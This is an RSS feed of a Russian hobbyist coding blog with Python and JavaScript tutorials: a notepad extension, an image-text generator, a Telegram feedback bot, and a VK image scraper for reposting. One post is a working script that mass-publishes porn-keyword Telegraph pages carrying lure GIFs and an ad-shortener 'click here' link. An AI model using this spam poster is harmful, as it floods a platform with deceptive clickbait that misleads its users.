<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@codingcommunity</title><generator>teletype.in</generator><description><![CDATA[Teletype канала в телеграмме https://t.me/CodingCommunity]]></description><image><url>https://teletype.in/files/6d/6dc74034-d272-46bf-91c2-b51b99bc0e6c.png</url><title>@codingcommunity</title><link>https://teletype.in/@codingcommunity</link></image><link>https://teletype.in/@codingcommunity?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/codingcommunity?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/codingcommunity?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 10 Apr 2026 07:44:45 GMT</pubDate><lastBuildDate>Fri, 10 Apr 2026 07:44:45 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/JsNotepad</guid><link>https://teletype.in/@codingcommunity/JsNotepad?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/JsNotepad?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Расширение для браузера на js. Notepad</title><pubDate>Fri, 27 Nov 2020 05:08:48 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/ae/35/ae35261a-d980-4864-ba58-0e2793cf8aae.png"></media:content><category>JS</category><description><![CDATA[<img src="https://teletype.in/files/74/98/74981745-60ec-4ffc-bb91-29c8d7cc19c2.gif"></img>Начнём со структуры файлов. Т.к. я только начинаю в этом всём разбираться то всё лежит в одной папке:]]></description><content:encoded><![CDATA[
  <p>Начнём со структуры файлов. Т.к. я только начинаю в этом всём разбираться то всё лежит в одной папке:</p>
  <p>└background.js<br />└icon.png<br />└index.html<br />└manifest.json<br />└style.css</p>
  <p>Я не буду разбирать структуру html и css. Всё что необходимо знать что в файле html есть &lt;textarea cols=&quot;82&quot; rows=&quot;20&quot; id=&#x27;GetText&#x27; autofocus&gt;&lt;/textarea&gt; с которой и будет происходить взаимодействие на стороне js скрипта.</p>
  <p>Начнём разбор с файла manifest.json</p>
  <pre>{
  &quot;manifest_version&quot;: 2,
  &quot;name&quot;: &quot;NOTEPAD&quot;,
  &quot;description&quot;: &quot;Notepad, creator: t.me/CodingCommunity&quot;,
  &quot;version&quot;: &quot;0.0.1&quot;,
  &quot;icons&quot;: {&quot;128&quot;: &quot;icon.png&quot;},
  &quot;browser_action&quot;: {
    &quot;default_icon&quot;: &quot;icon.png&quot;,
    &quot;default_popup&quot;: &quot;index.html&quot;
  }
}</pre>
  <p>Он у нас получился совсем маленьким, т.к. мы не используем ничего что могли бы, нам не нужны разрешения работы с вкладками и т.п. По названиям полей можно и так догадаться что они означают. Хочу лишь отметить что default_icon это иконка которая отображается среди других расширений в браузере. </p>
  <p>Перейдем к js коду. У нас будет всего одна функция которая будет отвечать за сохранение и загрузку данных из локального хранилища. При загрузки страницы мы достаём из локального хранилища данные которые там имеются по ключу &quot;text&quot; и заносим их в html файл в тег textarea, а если быть точнее то в его значение. Далее мы назначаем слушателя onkeyup который реагирует на отпущенную клавишу, после чего заносим в локальное хранилище данные из textarea. Вот что про onkeyup пишет гугл:</p>
  <p><strong>keyup</strong>() привязывает <strong>JavaScript</strong> обработчик событий &quot;<strong>keyup</strong>&quot; (нажатая клавиша была отпущена), или запускает это событие на выбранный элемент. Событие &quot;<strong>keyup</strong>&quot; посылается элементу в тот момент, когда пользователь отпустит нажатую клавишу на клавиатуре.</p>
  <pre>window.onload = () =&gt; {
  let getTextFromTextArea = document.getElementById(&#x27;GetText&#x27;);
  getTextFromTextArea.value = localStorage.getItem(&#x27;text&#x27;)
  getTextFromTextArea.onkeyup = () =&gt; {
    localStorage.setItem(&#x27;text&#x27;, getTextFromTextArea.value);
  }
}</pre>
  <p>Да, это полный листинг. Его мало но расширение невероятно полезное. Можете не смотреть css, там я просто позаимствовал код для текста сверху. В общем, вот как работает расширение: </p>
  <figure class="m_original">
    <img src="https://teletype.in/files/74/98/74981745-60ec-4ffc-bb91-29c8d7cc19c2.gif" width="613" />
  </figure>
  <p>Расширение было протестировано в Google Chrome (Версия 86.0.4240.198) и Opera (Версия:72.0.3815.378) </p>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/f44QFEDRo</guid><link>https://teletype.in/@codingcommunity/f44QFEDRo?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/f44QFEDRo?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Подобие на ASCII арт на Python + Pillow</title><pubDate>Wed, 18 Nov 2020 17:39:58 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/c6/5c/c65ce5f9-d923-426d-8def-3b3abd4e4d74.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/4f/6e/4f6e3191-efb1-45d8-b9e6-fb94b1e859ef.png"></img>Результат работы:]]></description><content:encoded><![CDATA[
  <p>Результат работы:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/4f/6e/4f6e3191-efb1-45d8-b9e6-fb94b1e859ef.png" width="1000" />
  </figure>
  <figure class="m_original">
    <img src="https://teletype.in/files/07/65/07650ef3-5c26-43c9-9dc3-aef72c7a6089.png" width="762" />
  </figure>
  <p><br />Начнём как обычно с импортов зависимостей:</p>
  <pre>from PIL import Image, ImageDraw, ImageFont
import random
import math</pre>
  <p>Я не стал разбивать код на функции так как его не много. Начнём с так называемых констант:</p>
  <pre>BACK_COLOR = &quot;BLACK&quot;
IN_IMG = &#x27;1.png&#x27;
FNT = ImageFont.truetype(&#x27;4.TTF&#x27;, 7)</pre>
  <p>Сначала зададим цвет фона. Затем исходное изображение, оно обязательно должно быть png с прозрачными местами. Далее идут настройки шрифта. Советую использовать этот шрифт и размер, т.к. для него все рассчитано (количество символов на строку и количество строк на размер файла).</p>
  <p>Далее нам необходимо узнать разрешение файла что бы составить для него текст который будет заполнять всю картинку, благодаря чему наша надпись картинка будет выглядеть так будто написана единицами и нулями</p>
  <pre>im = Image.open(IN_IMG)
(width, height) = im.size</pre>
  <p>Получаем мы значения в таком формате: (1920, 1080). <br />Я рассчитал что на квадрат из 50 пикселей нужно 13 символов в строку и 6 строк.</p>
  <p>Исходя из этого будет считать сколько символов нам понадобиться:</p>
  <pre>line = math.ceil(im.size[0]/50 * 13 * 1.2)
row = math.ceil(im.size[1]/50 * 6 * 1.2)</pre>
  <p>Тут в конце умножение на 1.2 т.к. при тестировании с английским алфавитом картинка наполняется символами не до  конца. То есть мы просто умножаем на 20%. </p>
  <p>Дальше пойдет цикл генерации строки:</p>
  <pre>string = &#x27;&#x27;
for i in range(row):
	for j in range(line):
		string += str(random.choice([0, 1]))
	string += &#x27;\n&#x27;</pre>
  <p>Тут все довольно таки просто. Row это количество строк, а line это сама строка. Тут мы генерируем большую строку для заполнения картинки.</p>
  <p>Далее нам необходимо создать изображение с фоном который мы указали в константах:</p>
  <pre>img = Image.new(&#x27;RGBA&#x27;, (im.size[0], im.size[1]), BACK_COLOR)    
draw_text = ImageDraw.Draw(img)
draw_text.text((1,1), string, spacing=1, font=FNT, fill=0)
img2 = Image.open(IN_IMG)
alphaComposited = Image.alpha_composite(img2, img)</pre>
  <p>Тут мы сначала создаём изображение с размерами как у того что будем &quot;рисовать&quot;, задаём ему цвет который указан в константе, затем рисуем это изображение, после этого записываем на него сгенерированный ранее текст из едениц и нулей, после чего открываем оригинальное изображение и совмещаем созданную нами картинку с той что была указана в константе (путь до неё).</p>
  <p>Далее мы будем делать из png картинки jpeg. Сначала берём ту картинку что была создана на прошлом шаге. Затем мы создаём новое изображение на которое будем помещать наше, заливаем фон цветом который был указан в константе, размер берём от изначального изображения. Далее вставляем ранее сгенерированную картинку на нашу картинку, конвертируем, конвертируем в RGB, сохраняем, после чего открываем для просмотра. </p>
  <pre>image = alphaComposited
new_image = Image.new(&quot;RGBA&quot;, image.size, BACK_COLOR) 
new_image.paste(image, (0, 0), image) 
new_image.convert(&#x27;RGB&#x27;).save(&#x27;READY_RESULT.jpg&#x27;, &quot;JPEG&quot;) 
img22 = Image.open(&#x27;READY_RESULT.jpg&#x27;)
img22.show()
</pre>
  <p>Полный листинг программы:</p>
  <pre>from PIL import Image, ImageDraw, ImageFont
import random
import math


BACK_COLOR = &quot;BLACK&quot;
IN_IMG = &#x27;1.png&#x27;
FNT = ImageFont.truetype(&#x27;4.TTF&#x27;, 7)


im = Image.open(IN_IMG)
(width, height) = im.size


line = math.ceil(im.size[0]/50 * 13 * 1.2)
row = math.ceil(im.size[1]/50 * 6 * 1.2)


string = &#x27;&#x27;
for i in range(row):
	for j in range(line):
		string += str(random.choice([0, 1]))
	string += &#x27;\n&#x27;
	

img = Image.new(&#x27;RGBA&#x27;, (im.size[0], im.size[1]), BACK_COLOR)    
draw_text = ImageDraw.Draw(img)
draw_text.text((1,1), string, spacing=1, font=FNT, fill=0)
img2 = Image.open(IN_IMG)
alphaComposited = Image.alpha_composite(img2, img)


image = alphaComposited
new_image = Image.new(&quot;RGBA&quot;, image.size, BACK_COLOR) 
new_image.paste(image, (0, 0), image) 
new_image.convert(&#x27;RGB&#x27;).save(&#x27;READY_RESULT.jpg&#x27;, &quot;JPEG&quot;) 
img22 = Image.open(&#x27;READY_RESULT.jpg&#x27;)
img22.show()</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/lR5JpEdyQ</guid><link>https://teletype.in/@codingcommunity/lR5JpEdyQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/lR5JpEdyQ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Telegraph постер</title><pubDate>Fri, 10 Jul 2020 20:20:33 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/c9/d2/c9d2507c-08e2-4f79-9f52-7fe2ebcf976d.png"></img>Начнём как обычно с импортов зависимостей:]]></description><content:encoded><![CDATA[
  <p>Начнём как обычно с импортов зависимостей:</p>
  <pre>from html_telegraph_poster import TelegraphPoster
import requests
import random
from bs4 import BeautifulSoup
import datetime
from tqdm import tqdm, trange</pre>
  <p>Далее пойдет функция main для русских телеграф статей:</p>
  <pre>def main() -&gt; None:
	now = datetime.datetime.now()
	with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
		f.write(&#x27;[&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;]&#x27; + str(now.strftime(&quot;%d-%m-%Y %H:%M:%S&quot;)) + &#x27;[&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;]&#x27; + &#x27;\n&#x27;)</pre>
  <p>При старте мы открываем файл с ссылками и записываем дату и время что бы знать когда были сделаны ссылки.</p>
  <p>Далее сделаем массив с жанрами где каждый элемент массива будет как отдельный жанр. А  так же тут массив гифок которые должны привлечь человека нажать на ссылку.</p>
  <pre>	gif_massive = [&#x27;https://i.ibb.co/WxV9XwD/1.gif&#x27;, &#x27;https://i.ibb.co/WxV9XwD/1.gif&#x27;, &#x27;https://i.ibb.co/7v6BMSd/2.gif&#x27;, &#x27;https://i.ibb.co/41gNSy8/4.gif&#x27;]
	names = []
	with open(&#x27;Жанры.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		for line in f:
			names.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))</pre>
  <p>Далее сделаем такие же массивы для имён актрис и названий самих порно видео:</p>
  <pre>	act = []
	with open(&#x27;Актрисы.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as af:
		for line in af:
			act.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))
			
	
	films = []
	with open(&#x27;русские названия.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as afs:
		for line in afs:
			films.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))</pre>
  <p>Далее будем записывать в строку html код, ведь telegraph принимает именно его:</p>
  <pre>	actris = &quot; &lt;p&gt; &quot;
	for i in act:
		actris += i + &quot; &lt;/p&gt; &lt;br&gt; &lt;p&gt; &quot;
	
	films = &quot; &lt;p&gt; &quot;
	for i in films:
		films += i + &quot; &lt;/p&gt; &lt;br&gt; &lt;p&gt; &quot;
    
    redy_html = actris + &#x27;&lt;br&gt;&lt;br&gt;&#x27; + films
    </pre>
  <p>ну и последние строки которые будут отвечать за постинг всего этого:</p>
  <pre>pbar = tqdm(names)
	for gege in pbar:
		if &#x27;порно&#x27; in gege or &quot;секс&quot; in gege:
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author=&#x27;Порно&#x27;, text=&quot;&lt;img src=&quot; + random.choice(gif_massive) + &quot;&gt;&lt;a href=&quot; + &#x27;http://gestyy.com/eqZyDR&#x27;+ &quot;&gt; &gt;&gt;&gt;ЖМИ СЮДА&lt;&lt;&lt;&lt;/a&gt;&lt;br&gt;&quot; + aaa)
			with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
				f.write(link_on_tgraph[&#x27;url&#x27;] + &#x27;\n&#x27;)
		else:
			gege += &#x27; &#x27; + str(random.choice([&#x27;порно&#x27;, &quot;секс&quot;, &quot;прон&quot;]))
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author=&#x27;Порно&#x27;, text=&quot;&lt;img src=&quot; + random.choice(gif_massive) + &quot;&gt;&lt;a href=&quot; + &#x27;http://gestyy.com/eqZyDR&#x27;+ &quot;&gt; &gt;&gt;&gt;ЖМИ СЮДА&lt;&lt;&lt;&lt;/a&gt;&lt;br&gt;&quot; + aaa)
			with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
				f.write(link_on_tgraph[&#x27;url&#x27;] + &#x27;\n&#x27;)
		pbar.set_description(&#x27;[&gt;&gt;&gt;] RUSSIAN: &#x27; + link_on_tgraph[&#x27;url&#x27;])</pre>
  <p>pbar это прогресс бар, как это выглядит можно увидеть на рисунке ниже:<br />А вообще тут ничего сложного, сначала проверяем есть ли &quot;порно&quot; или &quot;секс&quot; в заголовке, если нет, то добавим, затем создаём TelegraphPoster() и постим html текст и заголовок с помощью t.post()</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/c9/d2/c9d2507c-08e2-4f79-9f52-7fe2ebcf976d.png" width="978" />
  </figure>
  <p>в итоге получим вот такие ссылки:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/dc/cc/dcccf306-9f48-44d5-9392-84ed0b0cf758.png" width="567" />
  </figure>
  <p>Соотвественно наполнения текстовых файлов, таких как &quot;Актрисы, жанры, названия&quot; можете сделать любым. Ту же самую функцию можно использовать для английских ссылок, там у меня 1999 жанров. </p>
  <p>Полный листинг функции:</p>
  <pre>from html_telegraph_poster import TelegraphPoster
import requests
import random
from bs4 import BeautifulSoup
import datetime
from tqdm import tqdm, trange


def main() -&gt; None:
	now = datetime.datetime.now()
	with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
		f.write(&#x27;[&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;]&#x27; + str(now.strftime(&quot;%d-%m-%Y %H:%M:%S&quot;)) + &#x27;[&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;]&#x27; + &#x27;\n&#x27;)
	gif_massive = [&#x27;https://i.ibb.co/WxV9XwD/1.gif&#x27;, &#x27;https://i.ibb.co/WxV9XwD/1.gif&#x27;, &#x27;https://i.ibb.co/7v6BMSd/2.gif&#x27;, &#x27;https://i.ibb.co/41gNSy8/4.gif&#x27;]
	names = []
	
	
	with open(&#x27;Жанры.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		for line in f:
			names.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))
	act = []
	
	
	with open(&#x27;Актрисы.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as af:
		for line in af:
			act.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))	
	films = []
	
	
	with open(&#x27;русские названия.txt&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as afs:
		for line in afs:
			films.append(line.replace(&#x27;\n&#x27;, &#x27;&#x27;))	
	g = &quot; &lt;p&gt; &quot;
	for i in act:
		g += i + &quot; &lt;/p&gt; &lt;br&gt; &lt;p&gt; &quot;
	
	
	k = &quot; &lt;p&gt; &quot;
	for i in films:
		k += i + &quot; &lt;/p&gt; &lt;br&gt; &lt;p&gt; &quot;
	
	aaa = g + &#x27;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#x27; + k
	
	pbar = tqdm(names)
	
	for gege in pbar:
		if &#x27;порно&#x27; in gege or &quot;секс&quot; in gege:
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author=&#x27;Порно&#x27;, text=&quot;&lt;img src=&quot; + random.choice(gif_massive) + &quot;&gt;&lt;a href=&quot; + &#x27;http://gestyy.com/eqZyDR&#x27;+ &quot;&gt; &gt;&gt;&gt;ЖМИ СЮДА&lt;&lt;&lt;&lt;/a&gt;&lt;br&gt;&quot; + aaa)
			with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
				f.write(link_on_tgraph[&#x27;url&#x27;] + &#x27;\n&#x27;)
			# print(link_on_tgraph[&#x27;url&#x27;])
		else:
			gege += &#x27; &#x27; + str(random.choice([&#x27;порно&#x27;, &quot;секс&quot;, &quot;прон&quot;]))
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author=&#x27;Порно&#x27;, text=&quot;&lt;img src=&quot; + random.choice(gif_massive) + &quot;&gt;&lt;a href=&quot; + &#x27;http://gestyy.com/eqZyDR&#x27;+ &quot;&gt; &gt;&gt;&gt;ЖМИ СЮДА&lt;&lt;&lt;&lt;/a&gt;&lt;br&gt;&quot; + aaa)
			with open(&#x27;RUS_PORN_LINK.txt&#x27;, &#x27;a&#x27;) as f:
				f.write(link_on_tgraph[&#x27;url&#x27;] + &#x27;\n&#x27;)
			# print(link_on_tgraph[&#x27;url&#x27;])
		pbar.set_description(&#x27;[&gt;&gt;&gt;] RUSSIAN: &#x27; + link_on_tgraph[&#x27;url&#x27;])</pre>
  <p>Вы можете наполнять просторы телеграф другим контентом с автопостингом. </p>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/sC4NB3SYZ</guid><link>https://teletype.in/@codingcommunity/sC4NB3SYZ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/sC4NB3SYZ?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Бот для обратной связи на Python 3</title><pubDate>Wed, 24 Jun 2020 13:58:24 GMT</pubDate><description><![CDATA[Начнём как обычно с импортов зависимостей:]]></description><content:encoded><![CDATA[
  <p>Начнём как обычно с импортов зависимостей:</p>
  <pre>from aiogram import Bot, Dispatcher, executor, types
from aiogram import *
from aiogram.types import *</pre>
  <p>Да да, одна лишь либа aiogram. Далее пойдут константы в виде токена и айди админа которому пересылать сообщения:</p>
  <pre>TOKEN = &quot;1111111:xxxxxxxx-xxxxxxxx&quot;
admin_id = 1111111</pre>
  <p>Далее объявление самого бота и закинем сюда же ответ на команду /start</p>
  <pre>boty = Bot(token=TOKEN)
dp = Dispatcher(boty)


@dp.message_handler(commands=[&#x27;start&#x27;])
async def process_start_command(message: types.Message):
	if message[&#x27;from&#x27;].id == admin_id:
		await message.answer(f&quot;Hi, admin&quot;)
	else:
		await message.answer(f&quot;Привет, {message[&#x27;from&#x27;].first_name}!&quot;)</pre>
  <p>Далее пойдет хэндлер для обработки текста и ответов пользователем от аккаунта администратора.</p>
  <p><br />Сначала, во избежания ошибки, мы проверяем есть ли reply на сообщение, если его нет то проверяем нет ли команды /start , если её тоже нет то пересылаем сообщение админу.<br />Если все же это было reply на сообщение, сначала уточняем что этот reply был от админа, если это так то проверяем что там есть айди пользователя чьё сообщение админ решил реплить (reply), а затем отправляем текст юзеру на чьё сообщение админ нажал reply с текстом который ввел админ. Если же это делает пользователь то мы ему ласково говорим что ему нельзя отвечать на сообщения.</p>
  <pre>@dp.message_handler()
async def process_start_command(message: types.Message):
	if message.reply_to_message == None:
		if &#x27;/start&#x27; not in message.text:
			await boty.forward_message(admin_id, message.from_user.id, message.message_id)
	else:
		if message[&#x27;from&#x27;].id == admin_id:
			if message.reply_to_message.forward_from.id:
					await boty.send_message(message.reply_to_message.forward_from.id, message.text)
		else:
			await message.answer(&#x27;Нельзя отвечать на сообщения.&#x27;)</pre>
  <p>Далее пойдет обработка документов и фотографий.</p>
  <pre>@dp.message_handler(content_types=[&#x27;photo&#x27;])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
@dp.message_handler(content_types=[&#x27;document&#x27;])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)</pre>
  <p>Тут мы просто пересылаем сообщения данных типов админу. ну и наконец:</p>
  <pre>if __name__ == &#x27;__main__&#x27;:
	print(&quot;starting&quot;)
	executor.start_polling(dp)
	</pre>
  <p>Вот и всё! а теперь полный листинг программы:</p>
  <pre>from aiogram import Bot, Dispatcher, executor, types
from aiogram import *
from aiogram.types import *


TOKEN = &quot;11111:xxxxxxxxxxx-xxxxxxxxx&quot;
admin_id = 11111111111


boty = Bot(token=TOKEN)
dp = Dispatcher(boty)


@dp.message_handler(commands=[&#x27;start&#x27;])
async def process_start_command(message: types.Message):
	if message[&#x27;from&#x27;].id == admin_id:
		await message.answer(f&quot;Hi, admin&quot;)
	else:
		await message.answer(f&quot;Привет, {message[&#x27;from&#x27;].first_name}!&quot;)

		
@dp.message_handler()
async def process_start_command(message: types.Message):
	if message.reply_to_message == None:
		if &#x27;/start&#x27; not in message.text:
			await boty.forward_message(admin_id, message.from_user.id, message.message_id)
	else:
		if message[&#x27;from&#x27;].id == admin_id:
			if message.reply_to_message.forward_from.id:
					await boty.send_message(message.reply_to_message.forward_from.id, message.text)
		else:
			await message.answer(&#x27;Нельзя отвечать на сообщения.&#x27;)

			
@dp.message_handler(content_types=[&#x27;photo&#x27;])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
@dp.message_handler(content_types=[&#x27;document&#x27;])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
	if __name__ == &#x27;__main__&#x27;:
	print(&quot;starting&quot;)
	executor.start_polling(dp)</pre>
  <blockquote>Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.</blockquote>
  <p>Телеграм канал: <a href="https://t.me/CodingCommunity" target="_blank">https://t.me/CodingCommunity</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@codingcommunity/aQZJYKsWX</guid><link>https://teletype.in/@codingcommunity/aQZJYKsWX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity</link><comments>https://teletype.in/@codingcommunity/aQZJYKsWX?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=codingcommunity#comments</comments><dc:creator>codingcommunity</dc:creator><title>Воруем картинки из вк и постим в телегу</title><pubDate>Mon, 08 Jun 2020 17:06:55 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/b6/b2/b6b29e97-5851-4f50-9cf1-0e701771019b.png"></img>Начнём с импортов, их благо не так много (Бот будет работать на python3.7+):]]></description><content:encoded><![CDATA[
  <p>Начнём с импортов, их благо не так много (Бот будет работать на python3.7+):</p>
  <pre>import requests
import telebot
import sqlite3
from time import sleep
import json</pre>
  <p>Теперь нам нужны переменные с токенами и айдишниками. в переменной v_token будем хранить токен для ВК. Что бы его получить нужно перейти на сайт:<br /><a href="https://vkhost.github.io" target="_blank">https://vkhost.github.io</a> (я получал там) а затем выбрать приложение. Я выбрал VK API. Ссылка на доку вк (<a href="https://vk.com/dev/methods" target="_blank">https://vk.com/dev/methods</a> ).</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/b6/b2/b6b29e97-5851-4f50-9cf1-0e701771019b.png" width="1280" />
  </figure>
  <p>Далее в переменную tb вносим токен телеграмм бота который находится в канале куда постить. Указываем айди админа которому будут приходить ошибки (если таковые будут). В group<em>id мы указываем группу телеграм в которую будем постить картинки. Что бы получить этот айди вам нужно отправить боту @getmyid</em>bot какой либо пост с канала и тогда он вам вернёт айди канала. Вносить его нужно с минусом.</p>
  <pre>v_token = &quot;7l0m0v3dkl__t.me/CodingCommunity__83fglkiaguto9602p3nbrbuz67bjf4jj5pqkehivifj0kusc227qut&quot;
tb = telebot.TeleBot(&quot;0001337000:@CodingCommunity&quot;)
admin_id = 13371337
group_id = -123123123123
image_group = [111111111, 2222222, 3333333, 44444444, 55555555]</pre>
  <p>Так как нам необходимо проверять картинки которые мы собираемся публиковать, что бы скрипт не брал одни и те же - мы подключим базу данных и будем записывать туда айди группы и последнюю взятую из группы картинку. </p>
  <pre>def write_group_and_url_photo(group_id, photo_url):
	con = sqlite3.connect(&quot;group_and_photo.db&quot;)
	cur = con.cursor()
	cur.execute(f&quot;&quot;&quot;CREATE TABLE IF NOT EXISTS GAUP (group_id int, image_url text);&quot;&quot;&quot;) 
	cur.execute(f&quot;INSERT INTO GAUP VALUES(?,?)&quot;, (group_id, photo_url))
	con.commit()
	cur.close() 
	con.close()</pre>
  <p>Давайте не будем обращать внимание на странное название таблицы &quot;GAUP&quot; (Group And Url Photo). для записи мы будем передавать айди группы (которое у нас целочисленное [integet] ), откуда берём ссылку на картинку если она там будет photo<em>url (текстовое значение [string] ). Затем мы подключаемся к базе &quot;group_</em>and_photo.db&quot;, создаём курсор и пробуем создать таблицу, если таковой нет, а затем пробуем вставить наши данные. Хочу сразу вам сказать, что изначально таблицу вам надо будет заполнить что бы не было проблем, просто задайте для каждой группы по одному &quot;посту&quot; как это сделал я:</p>
  <figure class="m_original">
    <img src="https://teletype.in/files/88/b5/88b5e7e5-641b-462f-82ed-9a1b98d5c950.png" width="669" />
    <figcaption>Да да, тут есть группы откуда я брал картинки.</figcaption>
  </figure>
  <p>Далее - для того что бы сравнить последнюю картинку с группой нам понадобится функция которая получит по переданному айди группы - image_url</p>
  <pre>def get_last_post(group_id):
	con = sqlite3.connect(&quot;group_and_photo.db&quot;)
	cur = con.cursor()	
	cur.execute(f&quot;SELECT * FROM GAUP WHERE group_id = ?&quot;, [(group_id)])
	data = cur.fetchall()
	con.commit()
	cur.close() 
	con.close()	
	return data[-1][-1]</pre>
  <p>Тут мы в значение передаём айди группы, ВСЕ данные записываются в переменную data. Дата это массив с данными для одной группы которую мы передали. Мы достаём последнею запись data[-1] и из неё достаём image_url : data[-1][-1] и возвращаем это туда откуда функция была вызвана.</p>
  <p>Далее будет функция которую можно было не писать, но мне с ней было проще работать:</p>
  <pre>def vk_exec(method, param):
	URL = &quot;https://api.vk.com/method/&quot; + method + &quot;?&quot; + param
	return requests.get(URL).json()</pre>
  <p>Тут мы будем передавать вк метод который хотим использовать и его параметры, а возвращать он нам будет готовую json строку которую мы будем парсить.</p>
  <p>Далее идёт большая функция. Думаю её стоит объяснять по частям.</p>
  <pre>def wall_img(group_id, offset=None):
	if offset == None:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;count=1&amp;access_token={v_token}&quot;)
	else:
		get_image = vk_exec(&quot;wall.get&quot;, f&quot;owner_id=-{group_id}&amp;v=5.35&amp;offset={offset}&amp;count=1&amp;access_token={v_token}&quot;)
	with open(&#x27;data.json&#x27;, &#x27;w&#x27;) as f:
		f.write(json.dumps(get_image))
	with open(&#x27;data.json&#x27;, &#x27;r&#x27;, encoding=&#x27;utf-8&#x27;) as f:
		dat = json.load(f)</pre>
